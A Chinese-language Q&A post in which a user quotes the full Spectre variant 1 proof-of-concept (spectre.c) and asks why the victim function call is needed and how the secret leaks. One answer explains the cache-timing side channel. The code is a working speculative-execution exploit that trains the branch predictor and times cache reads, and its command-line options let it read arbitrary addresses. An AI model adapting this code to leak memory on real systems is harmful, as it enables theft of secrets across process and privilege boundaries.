Question

我在文档中找到了这段代码。

文件名：spectre.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>
#pragma optimize("gt", on)
#else
#include <x86intrin.h>
#endif
/* for rdtscp and clflush */
/* for rdtscp and clflush */
/******************************************************************** Victim code. ********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}
/******************************************************************** Analysis code ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i, junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    for (i = 0; i < 256; i++)
        results[i] = 0;
    for (tries = 999; tries > 0; tries--) {
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
            _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush(&array1_size);
            for (volatile int z = 0; z < 100; z++)
            {}                                                                         /* Delay (can also mfence) */
            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF;                                               /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16));                                                       /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));
            /* Call the victim! */
            victim_function(x);
        }
        /* Time reads. Order is slightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = &array2[mix_i * 512];
            time1 = __rdtscp(&junk);
            junk = *addr;
            time2 = __rdtscp(&junk) - time1;
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
        /* Locate highest & second-highest results results tallies in j/k */
        /* READ TIMER */
        /* MEMORY ACCESS TO TIME */
        /* READ TIMER & COMPUTE ELAPSED TIME */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            }
            else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above won't get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
    /* default for malicious_x */
}
int main(int argc, const char **argv) {
    size_t malicious_x = (size_t)(secret - (char *)array1);
    int i, score[2], len = 51;
    uint8_t value[2];
    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
        sscanf(argv[1], "%p", (void **)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
    }
    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
        printf("0x%02X='%c' score=%d    ", value[0],
            (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return (0);
}

我仔细阅读了整个代码，并确保了解每一行的内容。然后我尝试逐位修改代码。但似乎无论我如何修改readMemoryByte()中的代码，程序都会失败或以非常低的精度和准确度输出结果。即使添加printf()语句或看似无用的赋值语句（如temp += x）也会使程序混乱。

我不打算要求详细描述该计划的运作方式，因为它过于宽泛。我试图自己理解它。以下是我的问题：

如果我删除对victim_function()的调用，则所有程序输出都是错误的（未成功读取secret）。为什么以及如何进行必要的通话？它所做的一切似乎都没有任何意义（除了变量temp之外没有写任何其他地方未使用的值），但我不能省略它。
除了计算secret的初始值之外，全局变量malicious_x不会在任何地方使用。如何访问其内容？似乎在任何地方都有一个很好的边界检查，因此边界读数看起来不太可能。它可能是从处理器缓存完成的。如果是这样，那么我无法弄清楚如何将secret的内容发送到缓存。

我在Intel Clarkdale，Intel Ivy Bridge，Intel Haswell，Intel Skylake和Intel Kaby Lake处理器上尝试了上述代码（这些都是我现在可以找到的）。所有结果都是一样的。

Answer 1

根据我对幽灵的理解，我会尽力回答你的问题。

删除对victim_function()的调用并不会泄露秘密。是的，因为攻击是基于缓存命中和未命中。受害者函数在缓存中和下一次（在调用victim_function之后）带来适当的页面（实际缓存行），当您尝试探测每个内存位置并记录执行它所需的时间时，您可以确定victim_function访问了哪些内存位置。这意味着即使受害者功能不会“明确地”泄漏信息，它也会通过缓存的侧通道进行泄露。因此，如果您删除了呼叫，则刷新缓存并且您不会有任何秘密。
秘密作为索引转移到受害者职能中使用的array2。这就是秘密的“表示”如何进入缓存并且可以被漏洞利用读取。

这段代码如何读取“秘密”数据？

1 个答案: